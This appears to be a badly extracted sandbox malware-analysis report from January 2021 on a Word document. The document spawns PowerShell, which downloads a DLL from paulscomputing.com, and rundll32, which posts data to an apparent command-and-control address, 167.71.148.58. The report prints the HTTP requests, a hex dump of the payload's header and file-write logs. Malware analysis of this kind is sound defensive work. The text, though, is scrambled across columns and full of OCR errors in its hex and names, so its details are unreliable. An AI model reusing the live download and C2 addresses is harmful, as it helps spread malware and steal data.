Jan 8, 2021 8.8.8.8 192.168.2.22 0x7e45 No error (0)
18:11:08.637545109

CET

HTTP Request Dependency Graph

e paulscomputing.com
e 167.71.148.58
e 167.71.148.58:443

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49167
kBytes

Timestamp transferred Direction

Jan 8, 2021 0 ouT

18:11:08.848408937 CET

Copyright null 2021

Destination IP

216.218.207.98 80

Data

Dest Port
49167
80
49167
49167
80
49167
49167
80
49167
49167
80
49167
49167
80
49167
49167

Dest Port
53
52197

Trans ID

0x7e45

Name

paulscompu
ting.com

Destination Port Process

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

GET /CraigsMagicSquare/H/ HTTP/1.1

Host: paulscomputing.com
Connection: Keep-Alive

Source IP
216.218.207.98
192.168.2.22
216.218.207.98
216.218.207.98
192.168.2.22
216.218.207.98
216.218.207.98
192.168.2.22
216.218.207.98
216.218.207.98
192.168.2.22
216.218.207.98
216.218.207.98
192.168.2.22
216.218.207.98
216.218.207.98

Source IP

192.168.2.22

8.8.8.8

OP Code Name
Standard query  paulscompu
(0) ting.com
CName Address

216.218.207.98

Dest IP
192.168.2.22
216.218.207.98
192.168.2.22
192.168.2.22
216.218.207.98
192.168.2.22
192.168.2.22
216.218.207.98
192.168.2.22
192.168.2.22
216.218.207.98
192.168.2.22
192.168.2.22
216.218.207.98
192.168.2.22
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22

Type
A (IP address)

Type
A (IP address)

Class

IN (0x0001)

Class

IN (0x0001)
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kBytes

Timestamp transferred Direction Data
Jan 8, 2021 1 IN HTTP/1.1 200 OK
18:11:09.140847921 CET Date: Fri, 08 Jan 2021 17:11:08 GMT

Server: Apache

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Fri, 08 Jan 2021 17:11:09 GMT

Content-Disposition: attachment; filename="yERd20.dlII"

Content-Transfer-Encoding: binary

Set-Cookie: 5ff8922d0ef64=1610125869; expires=Fri, 08-Jan-2021 17:12:09 GMT; Max-Age=60; path=/

Last-Modified: Fri, 08 Jan 2021 17:11:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 31 66 34 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 59 93 4c 43 1d f2 22 10 1d f2 22 10 1d f2 22 10 03 a0 b7 10 Of f2
221003 a0 al 10 61 f2 22 10 1d f2 23 10 64 f2 22 10 3a 34 59 10 1a f2 22 10 03 a0 a6 10 25 f2 22 10 03 a0 b0 10 1c f2
221003 a0 b6 10 1c f2 22 10 03 a0 b3 10 1c f2 22 10 52 69 63 68 1d f2 22 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f8 48 e2 5f 00 00 00 00 00 00 00 00 e0 00 02 21 Ob 01 09 00 00
4a 01 00 00 58 02 00 00 00 00 00 75 7a 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 00 00
00 00 00 00 05 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 97 a2 04 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10
00 00 10 00 00 00 00 00 00 10 00 00 00 70 a7 01 00 49 00 00 00 ac 9f 01 00 3c 00 00 00 00 f0 01 00 fc d5 01 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 dO 03 00 d4 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 89 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 5¢c 01 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 48 01 00 00 10 00 00
00 4a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b9 47 00 00 00 60 01
00 00 48 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 84 32 00 00 00 b0
01 00 00 16 00 00 00 96 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 fc d5 01 00 00 fO
01 00 00 d6 01 00 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oa 23 00 00 00
d0 03 00 00 24 00 00 00 82 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 1f40MZ@!L!This program cannot be run in DOS mode.$YLC"""a"#d":4Y"%"""Rich"PELH_!JXuz pl<@"\.text
wHJ ".rdataG’'HN@ @.data2@.rsrc@ @.reloc#$@B

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49171 167.71.148.58 443 C:\Windows\SysWOW64\rundll32.exe
kBytes

Timestamp transferred Direction Data

Jan 8, 2021 251 ouT POST /7wfv2vt9qvzgkp6unhg/m5b2zuulmbbc64v82d/ HTTP/1.1

18:12:25.746685028 CET DNT: 0

Referer: 167.71.148.58/7wfv2vtqvzgkp6unhg/m5b2zuulmbbc64v82d/

Content-Type: multipart/form-data; boundary=- cs0BVrSncg9DYPKmcWS5iNvL

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 167.71.148.58:443

Content-Length: 7956

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 8, 2021

kBytes
transferred Direction

260 IN

18:12:26.981794119 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 08 Jan 2021 17:12:26 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 36 63 34 0d Oa Oc 45 01 41 71 ba ff f8 cd 75 62 2a bb 05 3e b4 3b fb 5 31 72 55 e8 fa ed cb e2 52 01 f9 b5 04
76 42 2f 28 fb f1 52 d4 fc 62 52 89 bb {7 1a 46 ee b6 00 9d f4 b8 59 b0 8e de 5 35 cf 04 79 33 36 59 b7 6b da 41 d4 33 59
70 5e 3d 69 6e 5c d4 20 68 aa 02 9d 1c 6¢ 40 01 24 5f 44 79 32 fb cb c2 62 52 4a ea be 86 cf 92 be 8f f4 6d ef 72 ab 35 f5
d1 94 6e 32 30 0f 02 21 93 9c 14 Oa 1d 66 22 a5 8f 89 d9 73 fc 6f a8 8d 74 3b 57 df 03 e6 ab e3 ef e7 87 80 83 a5 7f b5 90
1le 6f Oc 6a cc 67 8b 40 17 bb d1 f3 e7 fc 06 b4 79 17 56 7c 26 dd 72 1d 70 fd 60 fO 54 c7 f6 56 b1l f2 16 c6 86 9b ab 7e 23
2f 08 ¢5 66 83 d9 71 22 04 46 b7 2d ee 2a 70 45 1d 15 39 d0 e6 ba 05 6d 52 69 d3 Ob c8 3b Oe e6 4e d6 3a 63 ce 93 7e fO
ef 2f 00 a0 98 c9 52 5c ab 83 95 96 2a ab 93 7e Oe a8 89 3b 21 dd a2 9f 83 dc 77 35 be 03 4c d1 c¢5 57 50 1c 68 d7 56 47
ad 13 8b 70 6e eb d6 92 57 2e Oc 31 71 34 3f 2d f2 60 17 44 8a 92 10 4e 89 26 ad a2 fb a6 ee db 6a cd 34 a4 5b cb e2 98
42 dd 78 55 39 cf 60 Oc 83 d0 26 87 f2 90 92 7e 01 Ob 98 46 ed 7c 55 10 a5 6f 6b 8a 95 68 81 0d 42 39 b6 db e6 82 18 03
5c 76 85 0a 58 1b 04 51 8e 84 42 b4 78 f9 65 ba 4f c3 49 ec 39 Oc ch b3 02 a5 37 10 ef 4d 3f ¢6 1f cd bd ad a6 f8 23 2b 9¢
4e 0f 9e 35 29 9f ¢6 20 50 21 b8 ae d8 ed 27 al 19 6¢ f0 d9 40 d1 36 ac f2 cO f5 9d 2e 55 b8 6f bf 7b 02 5f 1a 46 48 cb 25
61 d5 52 68 ba 8e 32 ce fa 6¢ 6a c3 e9 de 03 a6 00 d3 77 e2 af 03 88 33 77 04 55 97 b9 5a {7 83 7f aa 7e 50 67 db 55 ac
1d 1d b3 97 69 ef a3 3f 34 1b 81 a6 27 dd f1 82 43 4e 0d 5e 75 a5 49 1a 70 54 4e ec 82 79 be 23 85 ae e6 f6 Oe 82 5f 2c e
b e2 fc 97 00 00 f8 80 36 c3 a5 9f 30 7e 77 d9 f3 88 55 Ob 37 13 b2 1b 7f f0 60 Ob b9 a4 65 4 ce 38 92 4c 06 e5 7f 95 a0
55 55 a3 d8 cd 6e 33 48 d8 30 9c 1b b4 34 67 99 e6 06 f5 f6 04 7d f4 1c 8e f6 fe 82 57 b8 b7 4a 8¢ 14 3f ca 24 f6 97 8f 38
1c d2 7f 5f 94 fe 98 59 f3 eb 55 72 40 f9 e6 7b 59 ec 68 17 60 cO 17 ab d5 el b1 cO 0f 9d 27 Ob 4d 7a 50 ad 67 9f be a5 18
ef fe 1b 83 8e 9a 0a 38 1b ac 33 c3 7c 40 e8 6d ed 34 2e 4c 49 52 79 7 5¢ db 46 94 e4 fa 9c ¢5 52 dd 35 cf 7e 67 3f 12 7c
d1 aa e2 3f 59 63 9a 9a dc f3 25 cb 89 dc 97 8b 37 56 30 dd 53 53 ed 36 f4 8a e3 f1 2c Oe 19 24 92 f2 ea 21 b3 68 3c 4c
3552 70 aa 0a 1c 8a fa db 20 6b 95 45 de 25 38 Oc c1 d1 c6 eb 20 00 e8 30 48 17 e5 9f c8 2e 68 a6 52 8f b5 Oc 28 eb 7c
8a cc 93 70 ce 39 cf d5 4d 6¢ 51 e3 b3 41 74 a5 1c 15 5a ba Oe 1e d5 e3 86 b9 a0 14 0f 70 65 fd dc ac 7a 87 ed 76 1d d9
a4 26 84 db 04 6f 4c 36 2f a4 c1 5f e8 9f 1f 34 6d 31 2d 05 8a af 22 21 e4 7d af da da 15 3d 46 2e d1 3c 3b b3 a9 6f 3a 21
87 le eafc e3 d6 19 f1 8f 87 9e fd df ¢3 27 e6 61 02 ab 10 77 c7 8d 59 d7 b7 3a 75 ba a6 26 1d e2 el 7c 86 94 1b le 74
8 80 a2 78 1e 96 50 b9 80 09 d3 5e 8e d4 d9 07 10 fe 67 86 7e 78 44 15 cf f0 85 e3 8d ¢3 8¢ 69 Of 78 67 9d 88 bc 34 b4
183870 d7 45 c4 35 12 e3 9d f6 1a c9 9f da 96 82 05 88 15 62 8b 5a 23 b2 b3 2a 21 81 49 36 c7 b2 97 d6 58 el cc 50 90
bd Ob 94 ¢5 1b el 38 13 a7 3f ad 6d a8 03 ef 86 b3 45 18 8d 2f d0 50 21 a9 a0 e9 1b 29 Oa ab €9 e8 bb 9b aa 56 8d 82 1f
d8 8e 20 d8 el 44 a3 c6 bd 34 1c 1b 8a 53 63 68 ec 1d 90 ca 66 95 b0 a6 d5 a9 68 56 23 6e 28 b3 57 90 50 cc el 3f 07 14
ed 5e b4 55 d9 2a 40 bb 20 69 f2 92 93 2¢ fa b7 1b 4b c1 89 bc d9 75 86 a6 6d 49 5a a4 d0 f5 1a d1 al b7 80 04 42 d3 2f
98 4d 83 6¢ 72 f7 76 59 77 58 c0 45 7b 75 82 00 8e a5 1b 56 b2 d2 6e 93 08 39 c1 cc 0a 19 01 04 04 05 1c fc a0 55 fa 66
7d 2e 04 5a c7 5a a7 7e 9f 7a 97 12 b9 af 40 9f c6 85 2a bd de cb c2 {3

Data Ascii: 6c4EAqub*>;1rURVB/(RbRFY5y36YKA3Yp~=in\ hi@$_Dy2bRJmr5n20!f"sot;Wojg@yV|&rp TV~#/fq"F-*p
E9MRI;N:c~/R\*~;lw5LWPhVGpnW.1q47?- DN&j4[BxU9"&~F|UokhB9\vXQBxeOlI97M?#+N5) PI'l@6.Uo{_FH%a
Rh2ljw3wUZ~PgUi?4'CNulpTNy#_,60~wU7 e8LUUN3HO4g}WJ?$8_YUr@{Yh'MzPg83|@m4.LIRy\FR5~g?|?Yc
%7V0SS6,$!h<L5Rp kE%8 OH.hR(|p9MIQAtZpezv&oL6/_4ml-"}=F.<;o:I'awY:u&|txP g~xDixg48pE5bZ#*116XP8?mE/P!)V
D4SchfhV#n(WP?AU*@ i,KumIZB/MIrvYwXE{uVn9Uf}.ZZ~z@*

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundl32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 2188 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path

C:\Users\user\AppData\Local\Temp\~DF6205D8E1F4C1673D.TMP

C:\Users\user\AppData\Local\Temp\VBE

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\Application Data\Microsoft\Forms

C:\Users\user\Application Data\Microsoft\Forms\WINWORD.box

File Deleted

File Path

C:\Users\user\AppData\Roaming\Microsoft\Forms\WINWORD.box

C:\Users\user\AppData\Local\Temp\~DF7DB2151390F872E5.TMP

C:\Users\user\AppData\Local\Temp\~DF27181B95BD769440.TMP

Old File Path

File Written

File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

18:10:34
08/01/2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

0x13f600000
1424032 bytes

95C38D04597050285A18F66039EDB456

true
true
C, C++ or other language

high

Access Attributes Options
read attributes | device synchronous io
delete | syn non alert | non
chronize | directory file |
generic read | delete on close
generic write
read data or list device directory file |
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read attributes | device synchronous io
synchronize | non alert | non
generic read | directory file
generic write
read data or list device directory file |
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read attributes | device synchronous io
synchronize | non alert | non
generic read | directory file
generic write
New File Path
Offset Length Value Ascii
unknown 4 4d 53 46 54 MSFT
unknown 4 02 00 01 00
unknown 4 00 00 00 00

Completion Count
success or wait 1
success or wait 1
success or wait 1
success or wait 1
success or wait 1

Completion
success or wait
success or wait

success or wait

Completion

Completion
success or wait
success or wait

success or wait

Source

Address Symbol

7FEE9123241 unknown

7FEE91826B4 CreateDirectoryA

7FEE912FDDC unknown

7FEE90B5A04 unknown

7FEE90B5A04 unknown

Source
Count Address Symbol
1 7FEE90B5A04 unknown
1 7FEE90A9ACO unknown

1 7FEE9145E7B unknown

Source
Count Address Symbol

Source
Count Address Symbol
1 7FEE912FDDC unknown
1 7FEE912FDDC unknown
1 7FEE912FDDC unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 09 04 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 51 00 Q. success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 . success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 02 00 . success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 . success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 06 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 91 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE912FDDC unknown

7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown b3 02 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 0d 23 00 00 .. success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2400 00 00 $... success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown ff ff ff ff success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 20 00 00 00 success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 80 00 00 00 success or wait 7FEE912FDDC unknown

0d 00 00 00 success or wait 7FEE912FDDC unknown

4
4
2
2
2
2
4
4
4
4

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait
4
4
4
4
4
4
4
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4
4

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown bc 00 00 00 success or wait 7FEE912FDDC unknown

P PR R R R R R R R R R R R R R R R R R BR

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 580 00 00 00 00 64 00 00 .
00 ¢c8 0000 00 2c 01 .
00 00 90 01 00 00 f4
01 00 00 58 02 00 00
bc 02 00 00 20 03 00
00 84 03 00 00 e8 03
00 00 4c 04 00 00 b0
04 00 00 14 05 00 00
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 d0 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0a 00 00
fO 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 Oc 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
00 00 f8 11 00 00 5¢
12 00 00 c0 12 00 00
2413 00 00 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 15 00 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

success or wait 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff a4 38 00 00 ff ..... 8 success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00  ......coeceeeee success or wait 1 7FEE912FDDC unknown
do 08 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ffffffff24000000 ...$......... success or wait 1 7FEE912FDDC unknown
1c 00 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 06 00 00
do 03 00 00 0f 00 00
00

success or wait 1 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 80 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 10 00 00
10 Oe 00 00 Of 00 00
00

success or wait 1 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00
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File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 78 00 00 ... X.XG...... success or wait 1 7FEE912FDDC unknown
78 47 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 Ob 00 00
54 06 00 00 0f 00 00
00

success or wait 1 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 L0 00 00  ....ocoveneneee success or wait 1 7FEE912FDDC unknown
10 Oe 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 200000 00 ... ..cccooeee success or wait 1 7FEE912FDDC unknown
10 00 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 14500 26 21 00 0O ff ff ff ff = &!..ooeeiiiiiiiiiie, success or wait 1 7FEE912FDDC unknown
00 00 00 00 00 00 00 .
00 03 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 18 00 00 00 00 00 .
00 00 14 00 00 00 00 .
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff 26 21
01 00 ff ff ff ff 00 00
00 00 00 00 00 00 03
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 30
00 00 00 00 00 00 00
2c 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 00 00 00 00 ff f ff
ff 00 00 00 00 04 00
00 00 03 00 03 80 00
00 00 00 00 00 00 00
ff ff ff ff a6 10 02 00 ff
ff ff ff 00 00 00 00 00
00 00 00 03 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 48 00 00 00
00 00 00 00 44 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 128 c8 0d 00 00 f8 07 00
00 €0 0d 00 00 10 08 .
00 00 f0 Oc 00 00 28
08 00 00 78 Oc 00 00 .
40 08 00 00 dO Ob 00
00 98 0d 00 00 e8 Ob
00 00 98 0a 00 00 68
0d 00 00 c0 Oc 00 00
18 Oc 00 00 88 08 00
00 90 09 00 00 88 Ob
00 00 b0 0d 00 00 58
0Ob 00 00 40 0Ob 00 00
28 0b 00 00 f8 0d 00
00 08 0d 00 00 88 05
00 00 cO 03 00 00 90
Oc 00 00 e0 Oa 00 00
50 0d 00 00 20 0d 00
00 b8 Ob 00 00 d8 Oc
00 00

success or wait 1 7FEE912FDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset
unknown 3600

unknown 976

Length Value

a3197b686bf239 .{hk.9G....u8...... CPf..
0

47b5f0adc9ed 75 ...
al 38 fe ff ff ff ff ff ff ff .0..d.
01 43 50 66 0f be 1a .
10 8b bb 00 aa 00 30 .
Oc ab 00 00 00 00 ff

ff ff ff 13 43 50 66 Of
be 1a 10 8b bb 00 aa
00 30 Oc ab 64 00 00
00 ff ff ff ff Ob 43 50

66 Of be 1a 10 8b bb
00 aa 00 30 Oc ab c8
00 00 00 ff ff ff ff 02

e0 f6 be 74 a8 1a 10
8b ba 00 aa 00 30 Oc
ab 2c 01 00 00 ff ff ff
ff 03 e0 f6 be 74 a8

1a 10 8b ba 00 aa 00
30 Oc ab 90 01 00 00
ff ff ff ff 20 47 bb 10

97 7 ce 11 b9 ec 00
aa 00 6b 1a 69 f4 01
00 00 ff ff f ff e0 03

Oc 57 97 f7 ce 11 b9
ec 00 aa 00 6b 1a 69
58 02 00 00 ff ff ff ff

90f5 72 ec 75 f3 ce

11 b9 e8 00 aa 00 6b
1a 69 bc 02 00 00 ff
ff ff ff 70 23 b0 82 bc
b5 cf 11 81 0f 00 a0
c9 03 00 74 20 03 00
00 ff ff ff ff 71 23 b0

82 bc b5 cf 11 81 0f
00 a0 c9 03 00

20 03 00 00 01 00 00
00 ff ff ff f ff ff ff ff 84
03 00 00 01 000000 .
ff ff ff ff ff ff ff ff €8 03
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff 4c 04
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff bO 04
00 00 01 00 00 00 ff
ff ff ff ff ff f ff bc 02
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff d8 Oe
00 00 01 00 00 00 ff
ff ff ff 70 00 00 00 68
10 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 04 10
00 00 01 00 00 00 ff
ff ff ff 90 00 00 00 30
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff a0 Of
00 00 01 00 00 00 ff
ff ff ff bO 00 00 00 94
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 64 19
00 00 01 00 00 00 ff
ff ff ff dO 00 00 00 28
23 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 8 19
00 00 01 00 00 00 ff
ff ff ff f0 00 00 00 fO
23 00 00 03 00 00 00
ff ff ff ff ff ff ff

Ascii

Completion

success or wait

success or wait

Count Address

1

1

Source
Symbol

7FEE912FDDC unknown

7FEE912FDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value Ascii

unknown 2256

unknown 28

unknown 512

ROJO0I0I103]00J0 D10 0| ———
00 ¢c8 0d 00 00 01 00 .
01 03 00000000€e0 .
0d 00 00 02 00 00 01 .
00 00 00 00 00 0000 .
00 03 00 00 010000 .
00 00 00 00 00 00 04 .
00 00 01 00 00 00 00 .
00000000050000 ...............
01 00 00 00 00 01 00

00 00 06 00 00 01 00

00 00 00 02 00 00 00

07 00 00 01 00 00 00

00 00 00 00 00 08 00

00 01 00 00 00 00 00

00 00 00 09 00 00 01

00 00 00 00 00 00 00

00 0a 00 00 01 00 00

00 00 01 00 00 00 Ob

00 00 01 00 00 00 00

02 00 00 00 Oc 00 00

01 00 00 00 00 00 00

00 00 0d 00 00 01 00

00 00 00 00 00 00 00

Oe 00 00 01 00 00 00

00 00 00 00 00 0f 00

00 01 00 00 00 00 01

00 00 00 10 00 00 01

00 00 00 00 02 00 00

00 11 00 00 01 00 00

00 00 00 00 0000 12

00 00 01 00 00 00 00

00 00 00 00 13 00 00

01 00 00 00 00 00 00

00 00 14 00 00 01 00

00 00 00 01 00 00 00

1500 00

b0 0d 00 00 00 00 QO ............ -.stdole2.tbwww
00 02 00 00 00 2d 00
73 74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57 57

00 3f 00 00 48 22 00 b
00 e82d 000034 47 ..>.HE.....XG...)..XF...C..
000070450000ec .
390000842b0000 $..9..7..A...5..4C...D..
e4420000b83e 00 .C..@...F..G...-
004845000014 2e ..=.@..8B
000058470000c8 ...;..8=...2...B.$E..0A.. 0..
2900005846 0000 .>...E...A.HC...&..L-..8+..p/
fc430000f43a00 .@7.@>..1..t...(>...8...".
00ac3f0000f021 .B.X>..C..<.

00 00 44 39 00 00 dO

4400 00 d4 43 00 00

d4 40 00 00 d4 3b 00

00 20 24 00 00 d8 39

00 00 a4 37 00 00 ac

41 00 00 d0 35 00 00

34 43 00 00 a4 44 00

00 Oc 43 00 00 9c 40

00 00 a0 46 00 00 10

47 00 00 b8 2d 00 00

b0 3d 00 00 1c 40 00

